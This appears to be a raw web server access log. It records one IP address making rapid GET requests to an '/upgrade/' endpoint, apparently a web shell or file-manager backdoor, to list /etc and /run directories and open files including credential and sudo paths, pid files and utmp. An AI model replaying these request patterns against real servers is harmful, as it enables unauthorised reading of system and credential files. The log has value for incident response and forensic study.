45.135.193.11 - - [11/Sep/2026:23:07:30 -0400] "GET /upgrade/?location=%2Fetc%2Finit.d HTTP/1.1" 200 6158 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Finit.d" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:30 -0400] "GET /upgrade/?location=%2Fetc%2Fpkgconfig HTTP/1.1" 200 5938 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Fpkgconfig" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:31 -0400] "GET /upgrade/?location=%2Fetc%2Fpki HTTP/1.1" 200 6428 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Fpki" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:31 -0400] "GET /upgrade/?location=%2Fetc%2Fsysconfig HTTP/1.1" 200 8852 "http://163.245.207.76:443/upgrade/?location=%2Fetc%2Fsysconfig" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:31 -0400] "GET /upgrade/?file_location=%2Fetc%2F%2F.whostmgrft&location=%2Fetc%2F HTTP/1.1" 200 28489 "http://163.245.207.76:443/upgrade/?file_location=%2Fetc%2F%2F.whostmgrft&location=%2Fetc%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:31 -0400] "GET /upgrade/?location=%2Frun%2Fsudo HTTP/1.1" 200 5744 "http://163.245.207.76:443/upgrade/?location=%2Frun%2Fsudo" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:31 -0400] "GET /upgrade/?file_location=%2Frun%2F%2Fcpdavd.pid&location=%2Frun%2F HTTP/1.1" 200 11877 "http://163.245.207.76:443/upgrade/?file_location=%2Frun%2F%2Fcpdavd.pid&location=%2Frun%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:31 -0400] "GET /upgrade/?file_location=%2Frun%2F%2Fcrond.pid&location=%2Frun%2F HTTP/1.1" 200 11880 "http://163.245.207.76:443/upgrade/?file_location=%2Frun%2F%2Fcrond.pid&location=%2Frun%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:31 -0400] "GET /upgrade/?location=%2Frun%2FNetworkManager HTTP/1.1" 200 6431 "http://163.245.207.76:443/upgrade/?location=%2Frun%2FNetworkManager" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:31 -0400] "GET /upgrade/?location=%2Frun%2Fapache2 HTTP/1.1" 200 5747 "http://163.245.207.76:443/upgrade/?location=%2Frun%2Fapache2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:31 -0400] "GET /upgrade/?location=%2Frun%2Fdbus HTTP/1.1" 200 5719 "http://163.245.207.76:443/upgrade/?location=%2Frun%2Fdbus" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:31 -0400] "GET /upgrade/?file_location=%2Frun%2F%2Frestartsrv_cpdavd&location=%2Frun%2F HTTP/1.1" 200 11885 "http://163.245.207.76:443/upgrade/?file_location=%2Frun%2F%2Frestartsrv_cpdavd&location=%2Frun%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:31 -0400] "GET /upgrade/?file_location=%2Frun%2F%2Frestartsrv_lshttpd&location=%2Frun%2F HTTP/1.1" 200 11885 "http://163.245.207.76:443/upgrade/?file_location=%2Frun%2F%2Frestartsrv_lshttpd&location=%2Frun%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:31 -0400] "GET /upgrade/?file_location=%2Frun%2F%2Frestartsrv_user%400&location=%2Frun%2F HTTP/1.1" 200 11887 "http://163.245.207.76:443/upgrade/?file_location=%2Frun%2F%2Frestartsrv_user%400&location=%2Frun%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:31 -0400] "GET /upgrade/?file_location=%2Frun%2F%2Ftailwatchd.pid&location=%2Frun%2F HTTP/1.1" 200 11875 "http://163.245.207.76:443/upgrade/?file_location=%2Frun%2F%2Ftailwatchd.pid&location=%2Frun%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:31 -0400] "GET /upgrade/?location=%2Frun%2Fchrony-dhcp HTTP/1.1" 200 5726 "http://163.245.207.76:443/upgrade/?location=%2Frun%2Fchrony-dhcp" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:32 -0400] "GET /upgrade/?location=%2Frun%2F&option=folder HTTP/1.1" 200 11802 "http://163.245.207.76:443/upgrade/?location=%2Frun%2F&option=folder" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:32 -0400] "GET /upgrade/?location=%2Frun%2Frpcbind HTTP/1.1" 200 5746 "http://163.245.207.76:443/upgrade/?location=%2Frun%2Frpcbind" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:32 -0400] "GET /upgrade/?location=%2Frun%2Fscreen HTTP/1.1" 200 5723 "http://163.245.207.76:443/upgrade/?location=%2Frun%2Fscreen" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:32 -0400] "GET /upgrade/?location=%2Frun%2Fsetrans HTTP/1.1" 200 5721 "http://163.245.207.76:443/upgrade/?location=%2Frun%2Fsetrans" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:32 -0400] "GET /upgrade/?file_location=%2Frun%2F%2Fcpsrvd.pid&location=%2Frun%2F HTTP/1.1" 200 11881 "http://163.245.207.76:443/upgrade/?file_location=%2Frun%2F%2Fcpsrvd.pid&location=%2Frun%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:32 -0400] "GET /upgrade/?file_location=%2Frun%2F%2Frestartsrv_sshd&location=%2Frun%2F HTTP/1.1" 200 11881 "http://163.245.207.76:443/upgrade/?file_location=%2Frun%2F%2Frestartsrv_sshd&location=%2Frun%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:32 -0400] "GET /upgrade/?location=%2Frun%2Fdefence360agent HTTP/1.1" 200 5730 "http://163.245.207.76:443/upgrade/?location=%2Frun%2Fdefence360agent" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:32 -0400] "GET /upgrade/?location=%2Frun%2Flog HTTP/1.1" 200 5937 "http://163.245.207.76:443/upgrade/?location=%2Frun%2Flog" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:32 -0400] "GET /upgrade/?location=%2Frun%2Fnscd HTTP/1.1" 200 6041 "http://163.245.207.76:443/upgrade/?location=%2Frun%2Fnscd" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:32 -0400] "GET /upgrade/?file_location=%2Frun%2F%2Frestartsrv_atd&location=%2Frun%2F HTTP/1.1" 200 11879 "http://163.245.207.76:443/upgrade/?file_location=%2Frun%2F%2Frestartsrv_atd&location=%2Frun%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:32 -0400] "GET /upgrade/?file_location=%2Frun%2F%2Frestartsrv_dnsadmin&location=%2Frun%2F HTTP/1.1" 200 11889 "http://163.245.207.76:443/upgrade/?file_location=%2Frun%2F%2Frestartsrv_dnsadmin&location=%2Frun%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:32 -0400] "GET /upgrade/?file_location=%2Frun%2F%2Frestartsrv_mariadb&location=%2Frun%2F HTTP/1.1" 200 11903 "http://163.245.207.76:443/upgrade/?file_location=%2Frun%2F%2Frestartsrv_mariadb&location=%2Frun%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:32 -0400] "GET /upgrade/?file_location=%2Frun%2F%2Frestartsrv_wp-toolkit-scheduled-tasks&location=%2Frun%2F HTTP/1.1" 200 11877 "http://163.245.207.76:443/upgrade/?file_location=%2Frun%2F%2Frestartsrv_wp-toolkit-scheduled-tasks&location=%2Frun%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:32 -0400] "GET /upgrade/?location=%2Frun%2Fblkid HTTP/1.1" 200 5746 "http://163.245.207.76:443/upgrade/?location=%2Frun%2Fblkid" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:32 -0400] "GET /upgrade/?location=%2Frun%2Fconsole HTTP/1.1" 200 5721 "http://163.245.207.76:443/upgrade/?location=%2Frun%2Fconsole" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:32 -0400] "GET /upgrade/?location=%2Frun%2Fcredentials HTTP/1.1" 200 6143 "http://163.245.207.76:443/upgrade/?location=%2Frun%2Fcredentials" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:33 -0400] "GET /upgrade/?location=%2Frun%2Ffaillock HTTP/1.1" 200 5721 "http://163.245.207.76:443/upgrade/?location=%2Frun%2Ffaillock" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:33 -0400] "GET /upgrade/?file_location=%2Frun%2F%2Frestartsrv_cpanellogd&location=%2Frun%2F HTTP/1.1" 200 11890 "http://163.245.207.76:443/upgrade/?file_location=%2Frun%2F%2Frestartsrv_cpanellogd&location=%2Frun%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:33 -0400] "GET /upgrade/?file_location=%2Frun%2F%2Frestartsrv_crond&location=%2Frun%2F HTTP/1.1" 200 11883 "http://163.245.207.76:443/upgrade/?file_location=%2Frun%2F%2Frestartsrv_crond&location=%2Frun%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:33 -0400] "GET /upgrade/?file_location=%2Frun%2F%2Frestartsrv_systemd-udevd&location=%2Frun%2F HTTP/1.1" 200 11892 "http://163.245.207.76:443/upgrade/?file_location=%2Frun%2F%2Frestartsrv_systemd-udevd&location=%2Frun%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:33 -0400] "GET /upgrade/?file_location=%2Frun%2F%2Futmp&location=%2Frun%2F HTTP/1.1" 200 12093 "http://163.245.207.76:443/upgrade/?file_location=%2Frun%2F%2Futmp&location=%2Frun%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:33 -0400] "GET /upgrade/index.php?location=%2Frun%2F HTTP/1.1" 200 11795 "http://163.245.207.76:443/upgrade/index.php?location=%2Frun%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:33 -0400] "GET /upgrade/?location=%2Frun%2Fsystemd HTTP/1.1" 200 7185 "http://163.245.207.76:443/upgrade/?location=%2Frun%2Fsystemd" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:33 -0400] "GET /upgrade/?location=%2Frun%2Fuser HTTP/1.1" 200 5722 "http://163.245.207.76:443/upgrade/?location=%2Frun%2Fuser" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:33 -0400] "GET /upgrade/?file_location=%2Frun%2F%2Fcphulkd_dbprocessor.pid&location=%2Frun%2F HTTP/1.1" 200 11800 "http://163.245.207.76:443/upgrade/?file_location=%2Frun%2F%2Fcphulkd_dbprocessor.pid&location=%2Frun%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:33 -0400] "GET /upgrade/?file_location=%2Frun%2F%2Frestartsrv_sw-engine&location=%2Frun%2F HTTP/1.1" 200 11887 "http://163.245.207.76:443/upgrade/?file_location=%2Frun%2F%2Frestartsrv_sw-engine&location=%2Frun%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:33 -0400] "GET /upgrade/?file_location=%2Frun%2F%2Frestartsrv_systemd-journald&location=%2Frun%2F HTTP/1.1" 200 11893 "http://163.245.207.76:443/upgrade/?file_location=%2Frun%2F%2Frestartsrv_systemd-journald&location=%2Frun%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:33 -0400] "GET /upgrade/?file_location=%2Frun%2F%2Frestartsrv_wp-toolkit-background-tasks&location=%2Frun%2F HTTP/1.1" 200 11900 "http://163.245.207.76:443/upgrade/?file_location=%2Frun%2F%2Frestartsrv_wp-toolkit-background-tasks&location=%2Frun%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:33 -0400] "GET /upgrade/?file_location=%2Frun%2F%2Fspamd.pid&location=%2Frun%2F HTTP/1.1" 200 11878 "http://163.245.207.76:443/upgrade/?file_location=%2Frun%2F%2Fspamd.pid&location=%2Frun%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:33 -0400] "GET /upgrade/?location=%2Frun%2Ftpm2-tss HTTP/1.1" 200 5939 "http://163.245.207.76:443/upgrade/?location=%2Frun%2Ftpm2-tss" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:34 -0400] "GET /upgrade/?file_location=%2Frun%2F%2Fcron.reboot&location=%2Frun%2F HTTP/1.1" 200 11875 "http://163.245.207.76:443/upgrade/?file_location=%2Frun%2F%2Fcron.reboot&location=%2Frun%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:34 -0400] "GET /upgrade/?file_location=%2Frun%2F%2Frestartsrv_apache_php_fpm&location=%2Frun%2F HTTP/1.1" 200 11896 "http://163.245.207.76:443/upgrade/?file_location=%2Frun%2F%2Frestartsrv_apache_php_fpm&location=%2Frun%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:34 -0400] "GET /upgrade/?file_location=%2Frun%2F%2Frestartsrv_httpd&location=%2Frun%2F HTTP/1.1" 200 11881 "http://163.245.207.76:443/upgrade/?file_location=%2Frun%2F%2Frestartsrv_httpd&location=%2Frun%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:34 -0400] "GET /upgrade/?file_location=%2Frun%2F%2Frestartsrv_nscd&location=%2Frun%2F HTTP/1.1" 200 11881 "http://163.245.207.76:443/upgrade/?file_location=%2Frun%2F%2Frestartsrv_nscd&location=%2Frun%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:34 -0400] "GET /upgrade/?location=%2Frun%2Firqbalance HTTP/1.1" 200 5725 "http://163.245.207.76:443/upgrade/?location=%2Frun%2Firqbalance" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:34 -0400] "GET /upgrade/?file_location=%2Frun%2F%2Fagetty.reload&location=%2Frun%2F HTTP/1.1" 200 11880 "http://163.245.207.76:443/upgrade/?file_location=%2Frun%2F%2Fagetty.reload&location=%2Frun%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:34 -0400] "GET /upgrade/?file_location=%2Frun%2F%2Frestartsrv_mysql&location=%2Frun%2F HTTP/1.1" 200 11883 "http://163.245.207.76:443/upgrade/?file_location=%2Frun%2F%2Frestartsrv_mysql&location=%2Frun%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:34 -0400] "GET /upgrade/?file_location=%2Frun%2F%2Frestartsrv_p0f&location=%2Frun%2F HTTP/1.1" 200 11881 "http://163.245.207.76:443/upgrade/?file_location=%2Frun%2F%2Frestartsrv_p0f&location=%2Frun%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:34 -0400] "GET /upgrade/?file_location=%2Frun%2F%2Frestartsrv_pdns&location=%2Frun%2F HTTP/1.1" 200 11882 "http://163.245.207.76:443/upgrade/?file_location=%2Frun%2F%2Frestartsrv_pdns&location=%2Frun%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:34 -0400] "GET /upgrade/?file_location=%2Frun%2F%2Frestartsrv_spamd&location=%2Frun%2F HTTP/1.1" 200 11882 "http://163.245.207.76:443/upgrade/?file_location=%2Frun%2F%2Frestartsrv_spamd&location=%2Frun%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:34 -0400] "GET /upgrade/?file_location=%2Frun%2F%2Fsm-notify.pid&location=%2Frun%2F HTTP/1.1" 200 11874 "http://163.245.207.76:443/upgrade/?file_location=%2Frun%2F%2Fsm-notify.pid&location=%2Frun%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:34 -0400] "GET /upgrade/?file_location=%2Frun%2F%2Fcpanel_php_fpm.pid&location=%2Frun%2F HTTP/1.1" 200 11894 "http://163.245.207.76:443/upgrade/?file_location=%2Frun%2F%2Fcpanel_php_fpm.pid&location=%2Frun%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:34 -0400] "GET /upgrade/?location=%2Frun%2Fchkservd HTTP/1.1" 200 7291 "http://163.245.207.76:443/upgrade/?location=%2Frun%2Fchkservd" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:34 -0400] "GET /upgrade/?location=%2Frun%2Fcryptsetup HTTP/1.1" 200 5748 "http://163.245.207.76:443/upgrade/?location=%2Frun%2Fcryptsetup" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:35 -0400] "GET /upgrade/?location=%2Frun%2Finitramfs HTTP/1.1" 200 6201 "http://163.245.207.76:443/upgrade/?location=%2Frun%2Finitramfs" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:35 -0400] "GET /upgrade/?location=%2Frun%2Fmedia HTTP/1.1" 200 5719 "http://163.245.207.76:443/upgrade/?location=%2Frun%2Fmedia" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:35 -0400] "GET /upgrade/?location=%2Frun%2Ftmpfiles.d HTTP/1.1" 200 6059 "http://163.245.207.76:443/upgrade/?location=%2Frun%2Ftmpfiles.d" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:35 -0400] "GET /upgrade/?file_location=%2Frun%2F%2Frestartsrv_cpsrvd&location=%2Frun%2F HTTP/1.1" 200 11885 "http://163.245.207.76:443/upgrade/?file_location=%2Frun%2F%2Frestartsrv_cpsrvd&location=%2Frun%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:35 -0400] "GET /upgrade/?file_location=%2Frun%2F%2Frestartsrv_dovecot&location=%2Frun%2F HTTP/1.1" 200 11892 "http://163.245.207.76:443/upgrade/?file_location=%2Frun%2F%2Frestartsrv_dovecot&location=%2Frun%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:35 -0400] "GET /upgrade/?location=%2Frun%2Fmount HTTP/1.1" 200 5721 "http://163.245.207.76:443/upgrade/?location=%2Frun%2Fmount" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:35 -0400] "GET /upgrade/?location=%2Frun%2Fpdns HTTP/1.1" 200 5719 "http://163.245.207.76:443/upgrade/?location=%2Frun%2Fpdns" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:35 -0400] "GET /upgrade/?file_location=%2Frun%2F%2Frestartsrv_mailman&location=%2Frun%2F HTTP/1.1" 200 11840 "http://163.245.207.76:443/upgrade/?file_location=%2Frun%2F%2Frestartsrv_mailman&location=%2Frun%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:35 -0400] "GET /upgrade/?file_location=%2Frun%2F%2Frestartsrv_tailwatchd&location=%2Frun%2F HTTP/1.1" 200 11887 "http://163.245.207.76:443/upgrade/?file_location=%2Frun%2F%2Frestartsrv_tailwatchd&location=%2Frun%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:35 -0400] "GET /upgrade/?file_location=%2Frun%2F%2Frsyslogd.pid&location=%2Frun%2F HTTP/1.1" 200 11872 "http://163.245.207.76:443/upgrade/?file_location=%2Frun%2F%2Frsyslogd.pid&location=%2Frun%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:35 -0400] "GET /upgrade/?file_location=%2Frun%2F%2Fsshd.pid&location=%2Frun%2F HTTP/1.1" 200 11877 "http://163.245.207.76:443/upgrade/?file_location=%2Frun%2F%2Fsshd.pid&location=%2Frun%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:35 -0400] "GET /upgrade/?file_location=%2Frun%2F%2Fsw-engine.pid&location=%2Frun%2F HTTP/1.1" 200 11880 "http://163.245.207.76:443/upgrade/?file_location=%2Frun%2F%2Fsw-engine.pid&location=%2Frun%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:23:07:35 -0400] "GET /upgrade/?file_location=%2Frun%2F%2Fcphulkd_processor.pid&location=%2Frun%2F HTTP/1.1" 200 11852 "http://163.245.207.76:443/upgrade/?file_location=%2Frun%2F%2Fcphulkd_processor.pid&location=%2Frun%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
